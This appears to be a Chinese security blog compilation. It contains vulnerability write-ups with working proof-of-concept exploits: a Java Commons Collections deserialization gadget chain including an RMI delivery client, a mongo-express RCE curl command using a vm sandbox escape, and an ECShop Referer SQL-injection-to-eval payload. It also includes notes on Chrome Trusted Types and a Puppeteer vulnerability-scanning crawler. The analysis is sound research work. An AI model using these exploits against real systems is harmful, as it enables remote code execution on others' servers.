这里用了java类的嵌套,和php语言特性有点区别:https://blog.csdn.net/hguisu/article/details/7270086
readObject
在jdk小于等于1.7的时,/sun/reflect/annotation/AnnotationInvocationHandler.class
中的readObject
中有对map的修改功能。
这里便于分析,用jd-gui
将其jar包逆向:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/rt.jar
这里readObject
方法,使用了entry.setValue
方法。
在构造方法中,我们可以看到其将实例化传入的参数设为其成员变量this.memberValues
,接着在反序列化的时候,通过对readObject
的调用,触发MapEntry
的setValue
方法。
最后poc用了java反射去实例化创建对象,构造出一个完整的攻击链:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50package test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app/"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "2"); // 满足/org/apache/commons/collections/map/AbstractMapDecorator.java的null判断,但是不知道为什么键名一定要是value,调了很多次还是没解决,求解
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
// 加载类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 实例化
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); // 获取指定的构造方法
cons.setAccessible(true); //为反射对象设置可访问标志
Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);
// 序列化
ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();
ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
}
}
流程:参考seebug的一张图
先学习几个概念:
构造一个User接口:User.java1
2
3
4
5
6
7
8
9
10package RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote{
String name(String name) throws RemoteException;
void say(String say) throws RemoteException;
void dowork(Object work) throws RemoteException;
}
实现User接口:UserImpl.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23package RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User{
public UserImpl() throws RemoteException{
super();
}
public String name(String name) throws RemoteException{
return name;
}
public void say(String say) throws RemoteException{
System.out.println("you speak" + say);
}
public void dowork(Object work) throws RemoteException{
System.out.println("your work is " + work);
}
}
实现Server端:1
2
3
4
5
6
7
8
9
10
11
12
13
14package RMI;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class UserServer {
public static void main(String[] args) throws Exception{
String url = "rmi://192.168.43.112:4396/User";
User user = new UserImpl();
LocateRegistry.createRegistry(4396);
Naming.bind(url,user);
System.out.println("the rmi is running :" + url);
}
}
运行监听:
客户端UserClient:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42package RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class UserClient {
public static void main(String[] args) throws Exception{
String url = "rmi://192.168.43.112:4396/User";
User userClient = (User)Naming.lookup(url);
System.out.println(userClient.name("test"));
userClient.say("world");
userClient.dowork(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "test");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
最后的transform
函数调用使用了jdk1.7
底层jar包,所以在不同的jdk版本利用链有所差异(挖坑),同时这个漏洞的关键在于/org/apache/commons/collections/functors/InvokerTransformer.java
可以通过反射调用任意函数,官方发布的新版本中增加了对相关反射调用的限制,同时对这些不安全的Java类的序列化支持增加了开关(也就是黑名单)。
java项目因为其可以加载很多依赖jar包,导致其反序列化可以寻找的攻击范围很广,从依赖扩展到jdk库,这也是java比php反序列化难的地方。
此外,简单学习了一些java语法后就开始分析漏洞,很多java语法特性以及概念不太熟悉,比如反射、嵌套类、JMX、JNDI等等,接下来打算好好弥补一下这方面的短板。
参考:
]]>文章首发先知社区
之前被问到这样一个有意思的问题,为什么新版Chrome取消了XSS Audit机制?
以前看到过文章说新版Chrome取消这个的原因是因为被绕过的姿势过多(我也不知道几个)或者说是误报影响到正常功能了。并说用trusted-types
的API替换XSS Audit
能彻底杜绝DOM XSS
。
仔细跟了一下谷歌的开发文档介绍,通过给CSP配置一个trusted-types
属性:1
Content-Security-Policy: trusted-types *
本地测试79.0版本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
header("Content-Security-Policy: trusted-types *");
$a= <<<EOF
<html>
<head>
</head>
<body>
</body>
<script>
const templateId = location.hash.match(/tplid=([^;&]*)/)[1];
// typeof templateId == "string"
document.head.innerHTML += decodeURI(templateId) // Throws a TypeError.
</script>
</html>
EOF;
echo $a;
但是并没有抛出错误,继续翻了下文档,找到问题所在:
需要用Chrome73-78的版本,其次默认配置是不开的,访问chrome://flags/#enable-experimental-web-platform-features
将其配置打开。
这里用Chrome78测试:
抛出一个错误,强制要求我们使用TrustedHTML
,修改代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
header("Content-Security-Policy: trusted-types *");
$a= <<<EOF
<html>
<head>
</head>
<body>
</body>
<script>
const templatePolicy = TrustedTypes.createPolicy('template', {
createHTML: (templateId) => {
const tpl = templateId;
if (/^[0-9a-z-]$/.test(tpl)) {
return `<link rel="stylesheet" href="./templates/\${tpl}/style.css">`;
}
throw new TypeError();
}
});
const html = templatePolicy.createHTML(location.hash.match(/tplid=([^;&]*)/)[1]);
// html instanceof TrustedHTML
document.head.innerHTML = html;
</script>
</html>
EOF;
echo $a;
通过TrustedTypes.createPolicy
自定义过滤后,return一个TrustedHTML
来满足CSP的可信要求:
在Chrome79下,即使我们开启了Experimental Web Platform features
这个配置,仍然会遇到TrustedTypes is not defined
的问题,emm可能功能正在试验中,然后新版又给移除了?
其次因为这个问题测试的时候,Chrome会默认更新到79版本有点烦,去这里,找了个78版本的下载,接着输msconfig
把谷歌服务的更新关了即可
最后打开Chrome效果是这样的:
最后简单总结一下,Chrome取消了XSS Auditor,取而代之的是trusted-types
可信API,声称可以彻底杜绝DOM XSS,经过一番体验后,其实本质上为强制开发写一段更为严格的过滤规则。
拭目以待,看看之后谷歌有什么新的想法~
]]>拉一个MongoDB的docker镜像:1
docker run -p 27017:27017 -d mongo
本地npm init
创建个package.json
,接着添加依赖库`mongo-express@0.53.0,
npm install`安装1
2
3"dependencies": {
"mongo-express": "0.53.0"
},
EXP:1
curl 'https://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
先来看看checkValid
这个路由:lib/router.js#279行
跟进checkValid
函数:lib/routes/document.js#28
获取post的的doc
参数,使用bson库进行BSON数据转换。
BSON是一种计算机数据交换格式,主要被用作MongoDB数据库中的数据存储和网络传输格式。它是一种二进制表示形式,能用来表示简单数据结构、关联数组(MongoDB中称为“对象”或“文档”)以及MongoDB中的各种数据类型。BSON之名缘于JSON,含义为Binary JSON(二进制JSON)
跟进toBSON函数:lib/bson.js#54
在第60行进入vm沙箱eval操作。
使用this.constructor.constructor
逃逸沙箱,参考https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html,使用this
指向VM容器外,使用.constructor
指向构造器,访问构造器的构造器对象,创建一个构造函数。
demo:1
2
3
4
5 ;
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator').toString()`);
console.log(xyz);
官方修复删除了vm库的引用:https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2
参考:
在两年前谷歌推出了一个Headless Chrome NodeJS API:Puppeteer,后来Github一个大牛用Python封装了一套api,作为一个第三方api:Pyppeteer。
在去年的时候,尝试过用Pyppeteer写过动态爬虫,Python版由于是第三方一个作者封装的,更新很慢,落后官方版本很多,很多迷之BUG,比如CDP协议去操作远程chromium,很容易中断导致一堆僵尸进程的chromium关不掉。虽然最后还是顶着各种bug,写成一个勉强能用的工具,但在服务器上很吃内存,一方面也是因为写的任务调度机制也有一些问题,最后服役了许多天天,不想维护了,捡了几个漏洞就退休了。后来在平时的工作和学习中频频接触到nodeJS,于是就趁着这段时间用nodejs重新实现一遍。
分为:内联、DOM0级、DOM2级事件
Js是一种基于原型的语言,每一个对象都有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,一层一层、以此类推。
在传统的面向对象编程中,我们首先会定义“类”,此后创建对象实例时,类中定义的所有属性和方法都被复制到实例中。但在 js 中并不是像这样复制,而是在对象实例和类之间之间建立一个链接。
demo:1
2
3
4
5function Cat() {
this.color = 'test'
}
var cat = new Cat()
console.log(cat.__proto__ === Cat.prototype) // true
在 JavaScript 中,如果想访问某个属性,首先会在实例对象(cat)的内部寻找,如果没找到,就会在该对象的原型(cat._proto_
,即 Cat.prototype
)上找,我们知道,对象的原型也是对象,它也有原型,如果在对象的原型上也没有找到目标属性,则会在对象的原型的原型(Cat.prototype._proto_
)上寻找,以此内推,直到找到这个属性或者到达了最顶层。在原型上一层一层寻找,这便是原型链了。
几种思路,可以直接使用正则抓取,也可以解析各种含有链接的标签,也就是src,href属性等。
当然这些都有一定的缺陷,比如相对路径需要单独去处理成完整URl,有的使用的js跳转,而不把URl写到标签内等等。另一种思路即使用动态爬虫的思路,Hook JS,通过触发各种事件信息收集URL。这里计划第一版爬虫先实现简易的URL抓取,之后再进一步优化。首先最常想到的是使用正则抓取,其次可以利用Headless的优势,将动态JS渲染的链接标签、属性抓取。
1 | function getSrcAndHrefLinks(nodes) { |
爬行结果:
接着通过简单的URL去重、清洗,爬虫便可以进行迭代爬行了。
经过一番测试后发现,对于下面这种页面URL抓取是会有遗漏的:
有的将跳转操作全写入了js事件中,或者有的要进行页面滚动JS才会进一步渲染,无疑遗漏了很多URL。解决这些问题的关键在于模拟用户操作,而用户操作的本质则为触发各种DOM事件。所以接下来需要解决的问题在于收集各种DOM事件,以及去触发它们。
在学习收集DOM事件的过程中参考了9ian1i师傅以及fate0师傅文章,很感谢前辈们的拓荒。
注册事件分为DOM0和DOM2事件,使用方法不同,收集方法也有差异。这里简单介绍了两者的差异DOM0级事件和DOM2级事件区别。以及JavaScript Prototype Chain 原型链学习
DOM0
对于DOM0的事件监听,可以修改所有节点的相关属性原型,设置其访问器属性。
demo:1
2
3
4
5
6
7
8
9
10function dom0Hook(that, event_name) {
console.log("tagname: " + that.tagName + ", event_name:" + event_name);
}
Object.defineProperties(HTMLElement.prototype, {
onclick: {set: function(newValue){onclick = newValue;dom0Hook(this, "click");}},
onchange: {set: function(newValue){onchange = newValue;dom0Hook(this, "change");}}
});
$0 = document.getElementsByTagName("a");
$0[0].onclick = function(){console.log("a")
}
DOM2
DOM2级事件Hook,可以通过修改addEventListener的原型即可:1
2
3
4
5let oldEvent = Element.prototype.addEventListener;
Element.prototype.addEventListener = function(event_name, event_func, useCapture) {
console.log("tagname: " + this.tagName + ", event_name:" + event_name);
oldEvent.apply(this, arguments);
};
内联事件
除了上述两种绑定事件的办法,还有通过写在标签内的内联事件,无法通过Hook来收集。比如:1
<div id="test" onclick="alert('1')">123</div>
解决办法是通过遍历节点,执行on事件:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18function trigger_inline(){
var nodes = document.all;
for (var i = 0; i < nodes.length; i++) {
var attrs = nodes[i].attributes;
for (var j = 0; j < attrs.length; j++) {
attr_name = attrs[j].nodeName;
attr_value = attrs[j].nodeValue;
if (attr_name.substr(0, 2) == "on") {
console.log(attrs[j].nodeName + ' : ' + attr_value);
eval(attr_value);
}
if (attr_name in {"src": 1, "href": 1} && attrs[j].nodeValue.substr(0, 11) == "javascript:") {
console.log(attrs[j].nodeName + ' : ' + attr_value);
eval(attr_value.substr(11));
}
}
}
}
或者TreeWalker获取全部节点,用
dispatchEvent
挨个触发事件
而DOM0、DOM2级事件通过收集到的标签和事件名依次触发即可。
触发事件的过程中,可能会被意外的导航请求给中断操作,所以我们应当取消非本页面的导航请求,避免造成漏抓。
前端JS跳转
取消跳转操作,记录跳转URL,但是Chrome不允许我们通过Object.defineProperty
重定义window.Location
操作,即无法通过Hook获取跳转的URL。
搜索了一些资料之后大致有下边一些解决办法:
但最后我选择了为漏扫动态爬虫定制的浏览器,后边会细说。
后端跳转
请求体无内容,则跟进;请求体有内容,则渲染页面,记录跳转url。
锁定重置表单事件1
2
3
4
5HTMLFormElement.prototype.reset = function() {
console.log("cancel reset form")
};
Object.defineProperty(HTMLFormElement.prototype, "reset", {"writable": false, "configurable": false}
);
挖坑
解决这个前端导航hook问题的时候,发现github上有一个大牛通过修改源码实现了一个为漏扫定制版的Chrome。作者通过修改chromium源码实现了导航的Hook,禁止页面的天锻跳转并收集其跳转的URL,并且通过底层hook了所有非默认事件,为我们开发提供了很多便利。
但还是有一些小的地方需要我们自己优化一下,会锁定导航自动收集前端跳转URL,但不会处理后端的Location,这里我们用一个拦截器去实现,记录后端跳转,加入扫描队列:
1 | await page.on('response', interceptedResponse =>{ |
事件触发&收集结果1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23function executeEvent() {
var firedEventNames = ["focus", "mouseover", "mousedown", "click", "error"];
var firedEvents = {};
var length = firedEventNames.length;
for (let i = 0; i < length; i++) {
firedEvents[firedEventNames[i]] = document.createEvent("HTMLEvents");
firedEvents[firedEventNames[i]].initEvent(firedEventNames[i], true, true);
}
var eventLength = window.eventNames.length;
for (let i = 0; i < eventLength; i++) {
var eventName = window.eventNames[i].split("_-_")[0];
var eventNode = window.eventNodes[i];
var index = firedEventNames.indexOf(eventName);
if (index > -1) {
if (eventNode != undefined) {
eventNode.dispatchEvent(firedEvents[eventName]);
}
}
}
let result = window.info.split("_-_");
result.splice(0,1);
return result;
}
对于使用SSO单点站点体系而言,可以在开始爬行之前指定一段cookie,比如从文本中读取。但是对于爬行目标较为多且SSO的覆盖面有限的情况下,就得使用数据库了。在测试过程中遇到了另一个问题,就是并发过高,或者发送有害的payload,会有Cookie失效的问题,这里想到了一种比较实用的解决办法,写一个浏览器插件及时将当前页面的cookie同步到服务端数据库,然后爬虫定期从数据库中更新最新的cookie。
Chrome插件同步cookie1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19function updateCookie(domain, name , value){
let api = "https://127.0.0.1/add-cookie";
$.post(api, {
"domain": domain,
"name": name,
"value": value,
}, function (data, status) {
console.log(status);
});
}
/*
* doc: https://developer.chrome.com/extensions/cookies
*/
chrome.cookies.onChanged.addListener((changeInfo) =>{
// 记录Cookie增加,Cookie更新分两步,第一步先删除,第二步再增加
if(changeInfo.removed === false){
updateCookie(changeInfo.cookie.name, changeInfo.cookie.value, changeInfo.cookie.domain);
}
});
去重在爬虫中是一个较为核心功能,规则过于宽松可能导致爬行不完或者说做一些无意义的重复爬行,规则过于严格则可能导致抓取结果过少,影响后续抓取和漏洞检测。去重一般分为两步对爬行队列去重,或者对结果集去重。
在解决这个问题的时候,参考了Fr1day师傅【技术分享】浅谈动态爬虫与去重的URL去重思路。不失为一种比较便捷,能基本满足当前需求的一种解决办法。
参数分析
大致有以下几种参数:类型int、hash、中文、URL编码1
2
3
4?m=home&c=index&a=index
?type=202cb962ac59075b964b07152d234b70
?id=1
?msg=%E6%B6%88%E6%81%AF
根据不同的类型对其进行处理:
处理结果即:1
2
3
4?m=home&c=index&a=index
?type={hash}
?id={int}
?msg={urlencode}
然后在数据库中将相同的清洗掉即可。
相似度计算,监控资产变化
网页结构相似度:https://xueshu.baidu.com/usercenter/paper/show?paperid=232b0da253211ecf9e2c85cb513d0bd3&site=xueshu_se
挖坑
禁止浏览器加载图片 => 返回一个fake img
实际测试过程中,有的网站在加载图片失败后,会尝试重新加载,这样会陷入一个死循环,导致发送大量数据包,占用性能。
代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17const browser = await puppeteer.launch(launchOptions);
const page = await browser.newPage();
await preparePage(page);
await page.setRequestInterception(true); // 开启拦截功能
await page.on('request', interceptedRequest => {
// 拦截图片请求
if (interceptedRequest.resourceType() === 'image' || interceptedRequest.url().endsWith('.ico')) {
//console.log(`abort image: ${interceptedRequest.url()}`);
let images = fs.readFileSync('public/image.png');
interceptedRequest.respond({
'contentType': ' image/png',
'body': Buffer.from(images)
});
}
else {
interceptedRequest.continue();
}
避免爬虫爬行到登出链接,导致Cookie失效,这里做一个简单的拦截:1
2
3
4
5
6
7
8await page.on('request', interceptedRequest => {
if(interceptedRequest.url().indexOf("logout") !== -1){
interceptedRequest.abort();
}
else{
interceptedRequest.continue();
}
});
简单粗暴,这里使用puppeteer-cluster库解决单Chrome多tab并发需求,也可以参考使用guimaizi师傅的demo:puppeteer异步并发方案
这里边其实还有很多坑要填,师傅们多指点交流~
开源链接:https://github.com/Passer6y/CrawlerVuln
(求star
弹窗取消
代码注入时间
链接收集有点不太全,触发完了事件后得等一会再收集url。
待解决的bugpage.once
确定抓取链接时间
之前渗透时遇到了这样一个站,当时看到这个命令执行的过程有点东西,于是抽了个时间复现一下
IDE: PHPstorm
代码:
ECshop3.0
ECShop 2.7.3
ECshop3.0
php 5.61
Referer:45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}}45ea207d7a2b68c49582d2d22adf953a
user.php 305行渲染的代码1
2
3
4
5
6
7
8
9
10//310行
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
// 如果没有user.php, 则$back_act为referer
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}
// 330行
$smarty->assign('back_act', $back_act); // 渲染referer到模板
$smarty->display('user_passport.dwt');
跟进display
函数,includes/cls_template.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16// 106行
$out = $this->fetch($filename, $cache_id); // fetch模板,渲染变量
if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out); // _echash为定值
foreach ($k AS $key => $val)
{
if (($key % 2) == 1) // 如果是奇数个
{
// 45ea207d7a2b68c49582d2d22adf953a这个相当于分割符,方便从html提取出序列化数据
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}
跟进insert_mod
函数,includes/cls_template.php 1168行1
2
3
4
5
6
7
8function insert_mod($name) // 处理动态内容
{
list($fun, $para) = explode('|', $name); // |前的为函数名,后为参数
$para = unserialize($para);
$fun = 'insert_' . $fun;
return $fun($para); // 可以执行insert_开头的函数
}
可以通过控制referer,执行insert_
开头的任意函数,来看includes/lib_insert.php:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29// 141行
function insert_ads($arr)
{
static $static_res = NULL;
$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
// arr可控,形成sql注入, 继续往下跟
// 170行
foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id']) // 查库的第2列字段
{
continue;
}
$position_style = $row['position_style']; // 查库的第9列
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style); // 重新带入模板渲染
接着,includes/patch/includes_cls_template_fetch_str.php1
2
3<?php
$template = $this;
return preg_replace_callback("/{([^\}\{\n]*)}/", function($r) use(&$template){return $template->select($r[1]);}, $source);
调select函数,includes/cls_template.php1
2//375行
return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
includes/cls_template.php get_val
593行1
2// 处理掉变量标签
$p = $this->make_var($val);
跟进make_var
, includes/cls_template.php1
2
3
4
5
6
7
8
9
10
11
12
13function make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var[\'' . $val . '\']';
}
// 705行
return $p;
代码执行,includes/cls_template.php1
2
3
4
5
6
7
8
9
10//1193行
function _eval($content)
{
ob_start();
eval('?' . '>' . trim($content));
$content = ob_get_contents();
ob_end_clean();
return $content;
}